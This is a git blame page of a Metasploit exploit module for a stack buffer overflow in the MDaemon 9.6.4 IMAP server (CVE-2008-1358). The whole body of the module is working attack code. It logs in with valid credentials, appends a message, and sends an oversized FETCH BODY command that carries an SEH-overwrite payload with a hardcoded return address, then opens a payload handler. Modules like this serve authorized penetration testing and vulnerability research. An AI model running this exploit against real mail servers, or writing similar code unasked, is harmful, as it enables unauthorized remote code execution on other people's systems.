Files
metasploit-gs/modules/exploits/windows/imap/mdaemon_fetch.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

93 lines
2.4 KiB
Ruby
Raw Normal View History

2008-04-06 10:45:29 +00:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2008-04-06 10:45:29 +00:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2009-12-06 05:50:37 +00:00
Rank = GreatRanking
2013-08-30 16:28:54 -05:00
include Msf::Exploit::Remote::Imap
include Msf::Exploit::Seh
2013-08-30 16:28:54 -05:00
2008-04-06 10:45:29 +00:00
def initialize(info = {})
super(update_info(info,
2008-04-06 10:45:29 +00:00
'Name' => 'MDaemon 9.6.4 IMAPD FETCH Buffer Overflow',
'Description' => %q{
2010-05-09 17:45:00 +00:00
This module exploits a stack buffer overflow in the Alt-N MDaemon IMAP Server
2008-04-06 10:45:29 +00:00
version 9.6.4 by sending an overly long FETCH BODY command. Valid IMAP
account credentials are required. Credit to Matteo Memelli
},
2017-11-09 03:00:24 +11:00
'Author' => [ 'Jacopo Cervini', 'aushack' ],
2008-04-06 10:45:29 +00:00
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2008-1358' ],
[ 'OSVDB', '43111' ],
[ 'BID', '28245' ],
2012-06-28 14:27:12 -05:00
[ 'EDB', '5248' ]
2008-04-06 10:45:29 +00:00
],
'Privileged' => false,
'DefaultOptions' =>
{
'EXITFUNC' => 'seh',
},
'Payload' =>
{
'Space' => 400,
'BadChars' => "\x00\x0a])",
},
'Platform' => 'win',
'Targets' =>
2008-04-06 10:45:29 +00:00
[
[ 'MDaemon Version 9.6.4', { 'Ret' => 0x64dc118b } ], # p/p/r HashCash.dll
],
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2008-03-13',
2008-04-06 10:45:29 +00:00
'DefaultTarget' => 0))
end
2013-08-30 16:28:54 -05:00
2008-04-06 10:45:29 +00:00
def check
connect
disconnect
2013-08-30 16:28:54 -05:00
2014-01-20 14:26:10 -06:00
if (banner and banner =~ /IMAP4rev1 MDaemon 9\.6\.4 ready/)
return Exploit::CheckCode::Appears
2008-04-06 10:45:29 +00:00
end
return Exploit::CheckCode::Safe
end
2013-08-30 16:28:54 -05:00
2008-04-06 10:45:29 +00:00
def exploit
connect_login
2013-08-30 16:28:54 -05:00
2008-04-06 10:45:29 +00:00
req0="0002 SELECT Inbox\r\n"
2013-08-30 16:28:54 -05:00
2008-04-06 10:45:29 +00:00
res = raw_send_recv(req0)
if (res and res =~ /0002 OK/)
print_status("SELECT command OK")
end
2013-08-30 16:28:54 -05:00
2008-04-06 10:45:29 +00:00
req1="0003 APPEND Inbox {1}\r\n"
2013-08-30 16:28:54 -05:00
2008-04-06 10:45:29 +00:00
res = raw_send_recv(req1)
if (res and res =~ /Ready for append literal/)
print_status("APPEND command OK")
end
2013-08-30 16:28:54 -05:00
2008-04-06 10:45:29 +00:00
res = raw_send_recv(rand_text_alpha(20) + "\r\n")
if (res and res =~ /APPEND completed/)
print_status("APPEND command finished")
end
2013-08-30 16:28:54 -05:00
2008-04-06 10:45:29 +00:00
buf = rand_text_alpha_upper(528, payload_badchars)
buf << generate_seh_payload(target.ret) + rand_text_alpha_upper(35, payload_badchars)
2013-08-30 16:28:54 -05:00
2008-04-06 10:45:29 +00:00
sploit = "A654 FETCH 2:4 (FLAGS BODY[" + buf + "(DATE FROM)])\r\n"
2013-08-30 16:28:54 -05:00
2008-04-06 10:45:29 +00:00
print_status("Sending payload")
2013-08-30 16:28:54 -05:00
2008-04-06 10:45:29 +00:00
sock.put(sploit)
2013-08-30 16:28:54 -05:00
2008-04-06 10:45:29 +00:00
handler
disconnect
end
end